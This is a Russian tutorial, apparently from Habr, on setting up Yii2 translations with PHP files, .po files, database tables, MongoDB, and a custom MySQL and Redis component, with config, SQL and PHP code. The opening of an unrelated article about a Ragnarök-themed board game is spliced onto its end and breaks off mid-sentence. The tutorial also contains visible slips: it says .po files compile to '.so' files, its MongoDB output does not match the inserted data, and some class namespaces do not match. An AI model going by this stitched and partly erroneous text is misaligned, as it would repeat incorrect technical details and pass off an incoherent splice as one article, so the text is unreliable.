В Yii2 есть возможность реализовать три варианта интернационализации: Файл с массивом, вида: ключ=>перевод (гибко) Help Link: thecodeninja.net yiiframework yiiframework Создадим конфигурационный файл для сборщика Выполним консольную команду php ./yii message/config @common/config/i18n.php //или с комментариями php ./yii message/config-template @common/config/i18n.php p.s. Для windows окружения php yii….Работа с console должна быть настроена т.е. необходимые компоненты должны быть подключены. Должен создаться файл /common/config/i18n.php: return [ 'sourcePath' => __DIR__. '..' . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR, 'languages' => ['pt-PT','ru-RU','uk-UA','en-US'], // языки на которые будут использоваться 'translator' => 'Yii::t', 'sort' => false, 'removeUnused' => false, 'only' => ['*.php'],// расширения файлов в которых искать категории 'except' => [//исключить эти источники '.svn', '.git', '.gitignore', '.gitkeep', '.hgignore', '.hgkeep', '/messages', '/vendor', ], 'format' => 'php',// формат хранения переводов 'messagePath' => __DIR__ . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . 'messages', 'overwrite' => true, ]; Создайте папку common/messages для хранения переводов ! Добавим компонент i18n В файле конфигурации common/main.php 'language'=> 'pt-PT',//по умолчанию 'sourceLanguage' => 'uk-UA',//исходный язык 'components' => [ ... 'i18n' => [ 'translations' => [ 'frontend*' => [ 'class' => 'yii\i18n\PhpMessageSource', 'basePath' => '@common/messages', /* fileMap определяет, какой файл будет подключаться для определённой категории. иначе так название категории является именем файла 'fileMap' => [ 'app' => 'app.php', 'app/error' => 'error.php', ],*/ ], 'backend*' => [ 'class' => 'yii\i18n\PhpMessageSource', 'basePath' => '@common/messages', ], // или просто вместо перечисления категорий поставим * что означает все категории '*' => [ 'class' => 'yii\i18n\PhpMessageSource', 'basePath' => '@common/messages', 'on missingTranslation' => ['common\components\TranslationEventHandler', 'handleMissingTranslation']// обработчик не найденных переводов ], ], ], .... Что должно быть в представлениях Примеры из документации Yii::t() // Если писать категорию через / то будут созданы папки словарей по страницам frontend/home.php echo \Yii::t('frontend/home', 'key home'); echo \Yii::t('frontend/login', 'key login'); Лучше, если названия категории будут содержать название страницы на которой они будут использоваться. При поиске перевода Yii делает выборку всей категории. Обработчик не найденных переводов common\components\TranslationEventHandler.php namespace common\components; use yii\i18n\MissingTranslationEvent; class TranslationEventHandler { public static function handleMissingTranslation(MissingTranslationEvent $event) { // вывод в месте вызова $event->translatedMessage = "@MISSING: {$event->category}.{$event->message} FOR LANGUAGE {$event->language} @"; // или писать лог } } Запуск построение ключей php yii message/extract @common/config/i18n.php После чего должны создатся файлы: common\messages\ru-RU\frontend\home.php common\messages\uk-UA\frontend\home.php common\messages\en-US\frontend\home.php common\messages\ru-RU\frontend\login.php common\messages\uk-UA\frontend\login.php common\messages\en-US\frontend\login.php .... Структура папок зависит от названия категорий. Эта на основе frontend/login и frontend\home Если б мы использовали такого вида категории(ключи) Yii::t('frontend','home') то создался б все один файл по каждому языку( common\messages\ru-RU\frontend.php) в котором были бы все переводы и для перевода одного представления Yii загрузил бы все переводы которые нам и не нужны на этой странице. Файлы имею такой вид: return [ 'key home' => '', 'key login' => '' ]; Переводить мы будем уже сами. Если создать файл views/site/ru-RU/index.php и язык по умолчанию language=ru-RU то сначала рендерится эта вьюшка. Файл с расширением .po,.mo бинарный (нужен компилятор,быстро) Help Link: Компилятор poedit в файлы .mo для windows thecodeninja yiiframework yiiframework Создание конфигурационного файла Командой php yii message/config @common/config/i18n.php получим файл common/config/i18n.php return [ 'color' => null, 'interactive' => true, 'sourcePath' => __DIR__. '..' . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR, 'languages' => ['pt-PT','ru-RU','uk-UA','en-US'], 'translator' => 'Yii::t', 'sort' => false, 'removeUnused' => false, 'only' => ['*.php'], 'except' => [ '.svn', '.git', '.gitignore', '.gitkeep', '.hgignore', '.hgkeep', '/messages', '/vendor', ], 'format' => 'po', 'messagePath' => __DIR__ . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . 'messages', 'overwrite' => true, ]; Он такой же как и в случае с форматом php. Отличается только форматом :) 'format' => 'po' Создайте папку common/messages для хранения переводов ! Отличие этого формата от php формата только в том, что после сбора ключей с приложения командой php yii message/extract @common/config/i18n.php в папке common\messages создадутся файлы с расширением .so (frontend.so) которые следует компилировать программкой, к примеру poedit windows и простым сохранением она создаст бинарные файлы с расширением .so. База данных mysql, две таблицы для ключей и переводов Help Link: thecodeninja.net yiiframework yiiframework Создадим конфигурационный файл common/config/i18n.php Выполнив команду php yii message/config @common/config/i18n.php Создаться такой файл common/config/i18n.php: return [ 'color' => null, 'interactive' => true, 'help' => null, 'sourcePath' => __DIR__. '..' . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR, 'messagePath' => __DIR__ . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . 'messages', 'languages' => ['pt-PT','ru-RU','uk-UA','en-US'],// языки на которые будет поддерживать приложение 'translator' => 'Yii::t', 'sort' => false, 'overwrite' => true, 'removeUnused' => false, 'markUnused' => true, 'except' => [ '.svn', '.git', '.gitignore', '.gitkeep', '.hgignore', '.hgkeep', '/messages', '/BaseYii.php', ], 'only' => [ '*.php', ], 'format' => 'db', 'db' => 'db', 'sourceMessageTable' => '{{%source_message}}',// название таблицы с исходными сообщениями 'messageTable' => '{{%message}}',// название таблицы с переводами 'ignoreCategories' => ['yii'],// игнорируем категории ]; Добавим компонент Примеры компонента есть в варианте с php форматом В файле конфигурации common/main.php 'language'=> 'ru-RU',//по умолчанию 'sourceLanguage' => 'uk-UA',//исходный язык 'components' => [ ... 'i18n' => [ 'translations' => [ // * - все категории '*' => [ 'class' => 'yii\i18n\DbMessageSource', 'on missingTranslation' => ['common\components\TranslationEventHandler', 'handleMissingTranslation'] ], ], ], .... обработчик не найденных переводов common\components\TranslationEventHandler так же есть в примере с форматом php В представлениях должны быть вызовы метода компонента Yii::t() см.Help Link К примеру: echo \Yii::t('frontend/home', 'key home') ; echo \Yii::t('frontend/login', 'key login') ; Выполним migrate Для хранения переводов выполним скрипт создания таблиц php yii migrate --migrationPath=@yii/i18n/migrations Создадутся две таблицы: --таблица ключей CREATE TABLE IF NOT EXISTS `source_message` ( `id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, `category` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL, `message` text COLLATE utf8_unicode_ci, KEY `idx_source_message_category` (`category`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; --таблица переводов CREATE TABLE IF NOT EXISTS `message` ( `id` int(11) NOT NULL PRIMARY KEY, `language` varchar(16) COLLATE utf8_unicode_ci NOT NULL, `translation` text COLLATE utf8_unicode_ci, KEY `idx_message_language` (`language`), CONSTRAINT `fk_message_source_message` FOREIGN KEY (`id`) REFERENCES `source_message` (`id`) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; Теперь можно выполнить консольную команду сбора всех категории с сохранением их в базу php yii message/extract @common/config/i18n.php Также имеется возможность хранить переводы в Mongo: Но сбор ключей придется писать самому. yii\mongodb\i18n\MongoDbMessageSource По аналогии… Компонент i18n return [ 'language'=> 'uk-UA',//'ru-RU', //.... 'components' => [ // ... 'i18n' => [ 'translations' => [ '*' => [ 'class' => 'yii\mongodb\i18n\MongoDbMessageSource' ] ] ], ] ]; Создаем коллекцию: $messages=Yii::$app->mongodb->getCollection('messages'); $messages->insert([ "_id"=>1, "category"=>"frontend/index", "language"=>"uk", "messages"=>["Hello world!"=>"Привіт Welt!","Hello"=>"Привіт"] ]); $messages->insert([ "_id"=>2, "category"=>"frontend/index", "language"=>"ru", "messages"=>["Hello world!"=>"Привет Welt!","Hello"=>"Привет"] ]); получаем такие документы: { "_id": 1, "category": "frontend/index", "language": "uk", "messages": { "Hello world!": "Привіт Welt!", "Hello": "Привіт" } }, { "_id": 2, "category": "frontend/index", "language": "ru", "messages": { "Hello world!": "Hallo Welt!", "Hello": "Привет" } } И при вызове перевода echo \Yii::t('frontend/index', 'Hello'); echo \Yii::t('frontend/index', 'Hello world!'); отработает выборка из коллекции messages по языку 'language'=> 'uk-UA' и категории "category": "frontend/index" .Получим все ключи категории сразу, имеет смысл определять категорию максимально использующую все переводы. Или свой вариант, взяв за основу хранения переводов в базе но со своим управлением (формирования ключей, переводов и их хранения). Основное Вызов перевода остается стандартным Yii::t(); Хранить переводы с ключами будем в MySQL; Временное хранилище по языкам в Redis; Сбор ключей (категорий) остается прежним; В чем плюсы: быстрота; гибкость; Создание конфигурационного файла i18n.php Начнем с того что создадим конфигурационный файл сборщика ключей такой консольной командой: php yii message/config @common/config/i18n.php После этой консольной команды файл i18n.php появится в common/config/ или просто его создадим такого вида: common/config/i18n.php return [ 'color' => null, 'interactive' => true, 'help' => null, 'sourcePath' => __DIR__. '..' . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR, 'languages' => ['ru-RU','uk-UA','en-US'],//языки перевода должны быть 'translator' => 'Yii::t', 'sort' => false, 'overwrite' => true, 'removeUnused' => false, 'markUnused' => true, 'except' => [ '.svn', '.git', '.gitignore', '.gitkeep', '.hgignore', '.hgkeep', '/messages', '/BaseYii.php', ], 'only' => [ '*.php', ], 'format' => 'db', 'db' => 'db', //'messageTable' => '{{%message}}', // игнорируем так как будет своя таблица gr_dictionary 'sourceMessageTable' => '{{%gr_dictionary}}',// таблица переводов 'ignoreCategories' => ['yii'], ]; Создание таблиц в MySQL Далее создадим три таблицы для основного хранения всех языков с переводами: gr_language (языки) CREATE TABLE IF NOT EXISTS `gr_language` ( `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY, `code_lang` varchar(255) NOT NULL, `local` varchar(255) NOT NULL, `name` varchar(255) NOT NULL, `status` tinyint(4) NOT NULL DEFAULT '1', UNIQUE KEY `code_lang` (`code_lang`), UNIQUE KEY `local` (`local`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; INSERT INTO `gr_language` (`id`, `code_lang`, `local`, `name`, `status`) VALUES (1, 'en', 'en-US', 'English', 1), (2, 'ru', 'ru-RU', 'Русский', 1), (3, 'uk', 'uk-UA', 'Українська', 1); gr_dictionary_keys (ключи) -- таблица по ключам CREATE TABLE IF NOT EXISTS `gr_dictionary_keys` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY, `key` varchar(250) NOT NULL, UNIQUE KEY `id` (`id`), KEY `key` (`key`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; gr_dictionary (переводы) -- таблица с переводами CREATE TABLE IF NOT EXISTS `gr_dictionary` ( `id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, `language_id` smallint(5) unsigned NOT NULL, `key` int(10) unsigned NOT NULL, `value` varchar(255) NOT NULL COMMENT 'шаблон', `translator` text NOT NULL COMMENT 'перевод', `type` set('w','m') DEFAULT NULL COMMENT 'w/m слово/предложение', `status` tinyint(4) NOT NULL DEFAULT '1', CONSTRAINT `gr_dictionary_ibfk_1` FOREIGN KEY (`language_id`) REFERENCES `gr_language` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `gr_dictionary_ibfk_2` FOREIGN KEY (`key`) REFERENCES `gr_dictionary_keys` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, UNIQUE KEY `language_id` (`language_id`,`key`,`type`), KEY `code_lang` (`language_id`), KEY `type` (`type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; Переопределим консольный контроллер Теперь, до сбора ключей, переопределим консольный контроллер \yii\console\controllers\MessageController который отвечает за сбор всех ключей. Для этого создам свой контроллер который наследуются от него. Создадим файл console\controllers\Message2Controller.php такого вида: console\controllers\Message2Controller.php namespace console\controllers; use Yii; use yii\console\Exception; class Message2Controller extends \yii\console\controllers\MessageController { /** * Saves messages to database * * @param array $messages Это двухмерный массив ключей [[категори]=>[[значение],[...]] ,... ] * @param \yii\db\Connection $db * @param string $sourceMessageTable Наша таблица для переводов * @param string $messageTable Не используем * @param boolean $removeUnused * @param array $languages Это массив языков languages из i18n.php ['ru-RU',...] * @param boolean $markUnused */ protected function saveMessagesToDb($messages, $db, $sourceMessageTable, $messageTable, $removeUnused, $languages, $markUnused) { try{ $pr_iskey=Yii::$app->db->createCommand("SELECT `id` FROM `gr_dictionary_keys` WHERE `key`=:key"); $pr_inskey=Yii::$app->db->createCommand("INSERT INTO `gr_dictionary_keys`( `key`) VALUES (:key)"); $pr_delkey=Yii::$app->db->createCommand("DELETE FROM `gr_dictionary_keys` WHERE `id`=:id"); $id_lang=[]; $pr_l=Yii::$app->db->createCommand("SELECT SQL_NO_CACHE id FROM gr_language WHERE local=:local LIMIT 1"); foreach ($languages as $language) { if(!isset($id_lang[$language])){ $id_language=(int)$pr_l->bindValue(":local", $language,2)->queryScalar(); if(empty($id_language)){ continue; // throw new Exception("Unknow lang type $language"); } $id_lang[$language]=(int)$id_language; } } if(empty($id_lang))throw new Exception("empty lang"); //ALTER TABLE `yii2advanced`.`gr_dictionary` ADD UNIQUE (`language_id`, `key`, `type`); $pr_d=Yii::$app->db->createCommand("INSERT IGNORE INTO `gr_dictionary`( `language_id`, `key`, `value`, `type`) VALUES (:language_id,:key,:value,:type)"); foreach ($messages as $category => $msgs){ list($type,$key)=explode(":", $category); if(empty($id=$pr_iskey->bindValue(":key", $key,2)->queryScalar())){ $pr_inskey->bindValue(":key", $key,2)->execute(); $id=Yii::$app->db->lastInsertID; } foreach ($id_lang as $id_language) { $pr_d->bindValue(":language_id", $id_language,1) ->bindValue(":key", $id,1) ->bindValue(":value", $msgs[0],2) ->bindValue(":type", $type,2) ->execute(); } } // удалить лишние ключи со status=1 (не используемые на страницах) $query=Yii::$app->db->createCommand("SELECT SQL_NO_CACHE dk.`id`,CONCAT(d.`type`,':',dk.`key`) as 'key_' FROM `gr_dictionary` d,gr_dictionary_keys dk WHERE d.`key`=dk.id AND status=1")->query(); //$pr_del=Yii::$app->db->createCommand("DELETE FROM `gr_dictionary` WHERE `key`=:key"); while(($data=$query->read())!=false){ if(array_key_exists($data['key_'], $messages)===false){ //$pr_del->bindValue(":key", $data['id'],1)->execute(); $pr_delkey->bindValue(":id", $data['id'],1)->execute(); } } Yii::$app->db->createCommand("ALTER TABLE gr_dictionary AUTO_INCREMENT = 1;")->execute(); }catch (\Exception $e){ //пишем в лог } } } Суть тут в том, что нам нужен только один метод saveMessagesToDb, который заполняет таблицу gr_dictionary из конфигурационного файла common/config/i18n.php 'sourceMessageTable' => '{{%gr_dictionary}}' собранными ключами с нашего сайта, которые мы предварительно вызвали через Yii::t() .Но можно и другую таблицу использовать, тут мы уже решаем как нам лучше. Добавил удаление ключей, а с ними и переводов по ссылке внешнего ключа если на сайте этот ключ больше не используется. Теперь можем вызвать сбор ключей командой к нашему контроллеру: php yii message2/extract @common/config/i18n.php В результате должны заполнится две таблицы (gr_dictionary и gr_dictionary_keys). По каждому языку из таблицы gr_language будет создана запись для перевода. Добавляем components i18n Далее добавляем в i18n component конфигурационного файла common\config\main.php: common\config\main.php ... 'language'=> 'ru-RU', 'sourceLanguage' => 'en-US', 'components' => [ 'i18n' => [ 'translations' => [ '*' => [ 'class' => 'common\models\AltDbMessageSource', // переопределенный класс yii\i18n\DbMessageSource ], ], ], 'lng' => [ 'class' => '\common\components\LanguageExtension', ], ... Компонент Yii i18n будет срабатывать при вызовах Yii::$app->t().Класс отвечающий за это yii\i18n\DbMessageSource но мы его переопределим common\models\AltDbMessageSource. Компонент lng это наш класс \common\components\LanguageExtension отвечающий за работу с Redis Переопределим yii\i18n\DbMessageSource Класс отвечающий за перевод мы реализуем по своему yii\i18n\DbMessageSource namespace common\models; use Yii; class AltDbMessageSource extends \yii\i18n\MessageSource { public $sourceLanguage; public function init() { parent::init(); if ($this->sourceLanguage === null) { $this->sourceLanguage = Yii::$app->sourceLanguage; } } protected function translateMessage($category, $message, $language) { /* узнаем из ключа (w:key) какой метод вызвать в моей реализации в компоненте lng есть два метода w и m можно пользоваться одним методом, чтобы не производить лишних манипуляций и вызывать сразу метод перевода. */ list($type,) = explode(":",$category); return Yii::$app->lng->$type($category); } public function translate($category, $message, $language) { if ( $language !== $this->sourceLanguage ) { return $this->translateMessage($category, $message, $language); } else { return false; } } } Метод translateMessage вызывается когда мы вызываем Yii::t('категория','значение'). Тут важно как мы собираемся организовать вид ключа. Можно через сепаратор : с помощью которого в Redis будут созданы папки с иерархией, что дает наглядность. К примеру: такие ключи Yii::t('ru-RU:type:uniq_view','значение') будут выглядеть в RedisAdmin так: ru-RU: type: uniq_view: значение uniq_view: значение uniq_view: значение Что позволит делать с помощью Redis такие выборки: $redis->executeCommand("KEYS",["KEY" => $lang_key.":".$type.":*"]); $redis->executeCommand("KEYS",["KEY" => $lang_key.":*"]); Ключ языка ru-RU и др. будем добавлять в момент заполнения Redis в компоненте \common\components\LanguageExtension. Напишем компонент \common\components\LanguageExtension Компонент нужен для получения перевода по ключу из Redis или массива если Redis отвалился. common\components\LanguageExtension namespace common\components\extensions; use Yii; use common\components\exceptions\LanguageException; use yii\db\Exception; use PDO; /** * Class LanguageExtension * @package common\components\extensions * Задачи: * Инициализация словаря * Заполнение словаря redis */ class LanguageExtension extends \yii\base\Object { private $language; // код языка - по умолчанию ru private $w = []; // словарь слов private $m = []; // словарь сообщений private $storageConnection; // объект доступа к редису private $storageStatus; // статус редиса для словаря private $numbDb; // база redis private $default_key; // флаг заполненности словаря private $expire; public function __construct() { try{ $this->expire = Yii::$app->params['secretKeyExpire']??(60 * 60 * 60); $this->language = \Yii::$app->language; $language=LanguageExtension::currentLang(); if(!empty($language)){ if($this->idKeyLang($language)) { $this->language= $language; } } $this->numbDb=Yii::$app->params['redisLangDB']??11; $this->storageStatus = false; $this->default_key= $this->language.":index"; $this->storageConnection = new \yii\redis\Connection([ 'hostname' => Yii::$app->params['redisHost'], // 'password' => '', 'port' => 6379, 'database' => $this->numbDb, ]); if(empty($this->language)) throw new LanguageException("not default language",0); $this->init(); }catch ( LanguageException $event){ // echo $event->getMessage(); }catch ( \yii\db\Exception $event){ $this->init(); }catch (\Exception $event){ // echo $event->getMessage(); } } public function __destruct() { try{ if($this->storageConnection->isActive) $this->storageConnection->close(); }catch (\Exception $event){ } } /** * бизнес логика. * Инициализация словаря. Проверка на существование словаря в редисе. * Полное заполнение словаря в редис. */ public function init(){ try{ $this->storageConnection->open(); // загружен ли словарь в redis if(!$this->isFullData()){ // загрузка из mysql базы слов в redis $this->loadRedis(); } $this->storageStatus = true; } catch ( \yii\db\Exception $event) { $this->storageStatus = false; // бизнес логика. // Заполнение словаря в массивы $w и $m согласно выбранному языку и интерфейсу. $this->loadVariable(); } } public static function currentLang(){ try{ $language = isset($_COOKIE['userLang']) ? $_COOKIE['userLang'] : null; if(!$language && Yii::$app->session->has('userLang')) { $language = Yii::$app->session('userLang'); } if(empty($language))$language=\Yii::$app->language; return $language; } catch (\Exception $e){ print_r($e->getMessage());exit; } } private function idKeyLang(string $key){ if(!empty($key)){ return Yii::$app->db->createCommand("SELECT `id` FROM `gr_language` WHERE local=:local") ->bindValue(":local", $key,PDO::PARAM_STR) ->queryScalar(); } return false; } /** * @param string $type * @param string $key * @return string * Строит ключ */ private function getKeyMD5(string $type,string $key):string { return $this->language.":".$type.":".md5($key); } /** * @return bool * Заполнение локальной переменной словарем */ private function loadVariable():bool{ try{ // бизнес логика. // Заполнение словаря в массивы $w и $m согласно выбранному языку и интерфейсу. $language_id=$this->idKeyLang($this->language); $res=\Yii::$app->db->createCommand("SELECT d.`type`,d.`value`,d.`translator`, dk.`key` FROM `gr_dictionary` d,gr_dictionary_keys dk WHERE d.`key`=dk.id AND d.language_id=:language_id") ->bindValue(":language_id", $language_id,PDO::PARAM_INT)->query(); $this->w=$this->m=[]; while(($data=$res->read())!=false){ if(method_exists($this, $data['type'])){ $this->{$data['type']}[$this->getKeyMD5($data['type'],$data['key'])]=$data['translator']; } } return true; }catch (\Exception $event){ echo $event->getLine()."|".$event->getMessage();exit; return false; } } /** * @return bool * Загрузка слов в redis из mysql (языка системы) */ private function loadRedis():bool{ try{ $language_id=$this->idKeyLang($this->language); $res=\Yii::$app->db->createCommand("SELECT d.`type`,dk.`key`, d.`value`,d.`translator` FROM `gr_dictionary` d,gr_dictionary_keys dk WHERE d.`key`=dk.id AND d.language_id=:language_id") ->bindValue(":language_id", $language_id,PDO::PARAM_INT)->query(); $this->storageConnection->executeCommand('SETEX', [ "KEY" => $this->default_key,"SECONDS"=>$this->expire,"VALUE"=> "1"]); while(($data=$res->read())!=false){ $this->storageConnection->executeCommand('SETEX', ["KEY" => $this->getKeyMD5($data['type'],$data['key']),"SECONDS"=>$this->expire,"VALUE"=> $data['translator']]); } if(empty($this->storageConnection->executeCommand('LASTSAVE', [] ))) $this->storageConnection->executeCommand('BGSAVE', [] ); return true; }catch (\Exception $event){ echo $event->getMessage();exit; } } /** * Очистить Redis */ public function flushdb(){ try{ if($this->storageConnection->isActive) $this->storageConnection->executeCommand('FLUSHDB'); else { $this->w=[]; $this->m=[]; } }catch (\Exception $event){ } } /** * @return bool * проверка существования в redis слов по дефолтному ключу и количество ключей словаря */ private function isFullData():bool { try{ $res= $this->storageConnection->executeCommand('INFO', [ ] ); preg_match("/.*db$this->numbDb:keys=([\d])*.*?/uis",$res,$arr); if(isset($arr[1]) && $arr[1]>1){ return $this->exists($this->default_key); } return false; }catch (\Exception $event){ echo $event->getMessage(); return false; } } /** * @param string $key * @return string * Возвращает слово по его ключу из загруженного словаря */ public function w(string $key) : string { return $this->getKeyValue($key, 'w'); } /** * @param string $key * @return string * Возвращает предложение по его ключу из загруженного словаря */ public function m(string $key) : string { return $this->getKeyValue($key, 'm'); } /** * @param string $key * @param string $type * @return string * Интерфейс выбора значения * бизнес логика. Выборка из редиса или еще откуда-то. */ private function getKeyValue ( string &$key, string $type ) : string { try{ if(!$key=trim($key)) throw new LanguageException("Error dictionary ".addslashes($key).". The ".addslashes($key)." can not be empty or contain only whitespace.", 777001); if($this->storageStatus) $value = $this->storageConnection->executeCommand("GET",["KEY" =>$this->getKeyMD5($type,$key)]); else{ $value = @$this->$type[$this->getKeyMD5($type,$key)]; } /*повесить свой обработчик if(!$value){ if ($this->hasEventHandlers(\yii\i18n\MessageSource::EVENT_MISSING_TRANSLATION)) { $event = new \yii\i18n\MissingTranslationEvent([ 'category' => $key, 'message' => $key, 'language' => $this->language, ]); $this->trigger(\yii\i18n\MessageSource::EVENT_MISSING_TRANSLATION, $event); } }*/ return $value ? $value : $key; }catch (\Exception $event){ return $key; } } /** * @param $key * @return bool * Удалить ключ */ public function del($key):bool{ try{ if($this->storageConnection->isActive){ return $this->storageConnection->executeCommand("DEL",["KEY" =>$key]);// keys test:1:v }else{ list($lang_key,$type,$key_)= explode(":", $key); if(method_exists($this, $type) && isset($this->$type[$key_])){ unset($this->$type[$key_]); return true; } return false; } }catch (\Exception $event){ return false; } } /** * @param string $lang_key * @param null $type * @return bool * Удалить ключи по языку типа или всего языка */ public function delAll(string $lang_key,$type=null){ try{ if($this->storageConnection->isActive){ $keys= $this->keys($lang_key,$type); if(!empty($keys)){ foreach ($keys as $key){ $this->del($key); } if($type==null) $this->del($lang_key.":index"); } }else{ $this->w=$this->m=[]; return true; } }catch (\Exception $event){ return false; } } /** * @param $type * @param $key * @return array * Вернуть все ключи блока */ public function keys(string $lang_key,$type=null):array{ try{ if($this->storageConnection->isActive){ if($type!=null) return $this->storageConnection->executeCommand("KEYS",["KEY" => $lang_key.":".$type.":*"]); else return $this->storageConnection->executeCommand("KEYS",["KEY" => $lang_key.":*"]); }else{ if($type!=null){ return $this->w+$this->m; }else{ if(method_exists($this, $type))return $this->$type; } return []; } }catch (\Exception $event){ return []; } } /** * @param $type * @param $key * @return bool * Проверка существования ключа */ public function exists($key):bool{ try{ if($this->storageConnection->isActive){ return $this->storageConnection->executeCommand("EXISTS",["KEY" =>$key]); }else{ // return (method_exists($this, $type) && isset($this->$type[$key])); list($lang_key,$type,$key_)= explode(":", $key); if(method_exists($this, $type))return isset($this->$type[$key_]); return false; } return false; }catch (\Exception $event){ return false; } } } Суть Хранение всего словаря языка по дефолтному Yii::$app->language значению языка, если нет COOKIE данных, в Redis или в массиве если Redis не сработал, по типу значения $this->w[] слово ,$this->m[] сообщение . Но это моя реализация, а у вас может быть все в одном буфере. Как он работает При инициализации проверяем коннект Redis. Если его нет то заполняем буфер, если он есть то заполняем его, а источник в обоих случаях MySQL. Важный момент, перед заполнением мы конечно проверяем загружен ли язык уже в систему, путем проверки дефолного ключа ru-RU:index который мы устанавливаем если его нет при загрузки. И так, в MySQL есть 4 языка. Идут коннекты от пользователей на ru-RU язык, что мы делаем? Мы грузим Redis из MySQL весь ru-RU если его там нет и раздаем его, далее есть коннект на en-US, подгружаем в Redis и этот язык, теперь у нас два языка в системе загружено. Жить конечно они могут вечно но у меня в компоненте устанавливается время на ключ $redis->executeCommand('SETEX', ["KEY" => $this->getKeyMD5($data['type'],$data['key']),"SECONDS"=>$this->expire,"VALUE"=> $data['translator']]); Виджет смены языка frontend\widgets\WLang namespace frontend\widgets\WLang; use frontend\models\Lang; use Yii; use PDO; class WLang extends \yii\bootstrap\Widget { public function init(){} public function run() { return $this->render('index', [ 'current' => \common\components\LanguageExtension::currentLang(), 'default' => \Yii::$app->db->createCommand("SELECT `id`, `code_lang`, `local`, `name`, `default_lang`, `status` FROM `gr_language` WHERE local=:local LIMIT 1")->bindValue(":local",\common\components\LanguageExtension::currentLang(),PDO::PARAM_STR)->queryOne(PDO::FETCH_OBJ), 'langs' =>\Yii::$app->db->createCommand("SELECT `id`, `code_lang`, `local`, `name`, `status` FROM `gr_language` WHERE 1")->queryAll(PDO::FETCH_OBJ), ]); } } <div> <?php use yii\helpers\Html; ?> <script> function click_(el) { var lang = $(el).attr('data-lang'); var date = new Date; date.setDate(date.getDate() + 1); document.cookie = "userLang=" + lang + "; path=/; expires=" + date.toUTCString() + ";"; location.reload(); } </script> <div id="lang"> <span id="current-lang"> <span class="show-more-lang" >Текущий язык <?= $current;?></span> </span> <ul id="langs"> <?php foreach ($langs as $lang):?> <li class="item-lang"><a href="#" onclick="click_(this)" data-lang="<?=$lang->local?>"><?=$lang->code_lang?></a></li> <?php endforeach;?> </ul> </div> </div> Вся суть виджета — это отобразить все доступные языки и установить COOKIE данные. Далее, когда добавятся еще переводы или удалятся на страницах нашего приложения мы просто вызываем сбор ключей и вносим в MySQL их значения. good luck, Jekshmek
https://habrahabr.ru/post/318102/
habrahabr
Мой Рагнарёк
['Zillions of games']
         — У меня с собой свиток, где записано «Прорицание Вёльвы». Там ясно сказано, как все должно быть…...
         — У меня с собой свиток, где записано «Прорицание Вёльвы». Там ясно сказано, как все должно быть…         Многое уже невозможно изменить, но если Один все-таки схватится с Фенриром, и Тор подоспеет вовремя, чтобы вступить в битву с Ирмугандом, все пойдет как надо.            Макс Фрай Я уже давно хотел разработать настольную игру, основанную на каком нибудь легендарном событии, а что может быть эпичнее и легендарнее чем сама " Гибель богов "? Согласно пророчеству , в день Рагнарёка чудовищный волк Фенрир освободится от своих пут и проглотит Солнце, погрузив мир во тьму, а когда из глубин всплывёт мировой змей Ёрмунганд, море выйдет из берегов. К ним примкнёт и огненный великан Сурт с пылающим мечом, который выжжет землю, повелительница загробного царства Хель и коварный бог огня Локи вместе с инеистыми великанами — гримтурсенами и ётунами. Из Хельхейма приплывает корабль мертвецов Нагльфар. Войско сынов Муспельхейма проскачет по радужному мосту Биврёст, который при этом разрушится. Идею игры подсказала одна из разработок Catalyst Game Labs Игра Duke (Герцог) по праву считается одной из лучших абстрактных настольных игр, разработанных в последнее время. Игровой процесс, в целом, похож на " Шахматы ". Правила перемещения фигур схематично изображены на самих фигурах (нотация оказалась настолько удачной, что породила множество всевозможных подражаний). Игра начинается на пустой доске (по договорённости игроков, предварительно на ней могут быть размещены «горы»). Каждый из игроков размещает своего «Герцога» на первой линии, после чего новые фигуры вводятся в игру «сбросом» на одну из пустых клеток граничащих с «Герцогом». Важным является тот факт, что выполняя такой «сброс», игрок не знает какую именно фигуру добавит на доску (новые фигуры достаются из мешка и ставятся на доску «не глядя»). Другой особенностью игры является «переключение» фигур при выполнении ими очередного хода. Фигура переворачивается, открывая схему перемещений изображённую на оборотной стороне (более подробно о правилах игры можно прочитать здесь ). Подобная игровая механика ни в коем случае не является изобретением игры «Герцог». Очень похожие правила используются в игре " Kyoto shogi ", придуманной Tamiya Katsuya в 1976 году: Схематичное изображение правил выполнения хода на самих фигурах также неоднократно использовалось ранее. Например, в игре «Escalation» 1988-го года, это дизайнерское решение существенным образом обыгрывается в правилах, поскольку фигуры выполняющие взятие объединяют свои способности со способностями взятых фигур. Взяв за основу незначительно изменённый дизайн (мне пришлось уменьшить размеры фигур, чтобы доска помещалась на экран среднестатистического монитора), позволяющий не запоминать все нюансы правил, а ориентироваться на простейшие пиктограммы, я двинулся дальше. Моей целью было создание новых типов фигур, поведение которых напоминало бы известных персонажей эпоса. Помимо этого, я сосредоточился на различных игровых ситуациях — «мирах», на которые разделена вся игра. Начальные уровни представляют собой, своего рода, учебник, знакомящий игрока с тактическими особенностями фигур, задействованных в игре. Каждый мир поделён на три уровня, в соответствии с сложностью прохождения. Главных миссий в игре также три (по числу главных антагонистов). В общей сложности, игра содержит 15 вариантов (5 миров, по 3 уровня в каждом). На крыльях ветра Вальхалла — первый мир, с которого я начал разработку (но не по сюжету игры). Согласно германо-скандинавской мифологии , это дворец воинов павших в бою. С поля боя 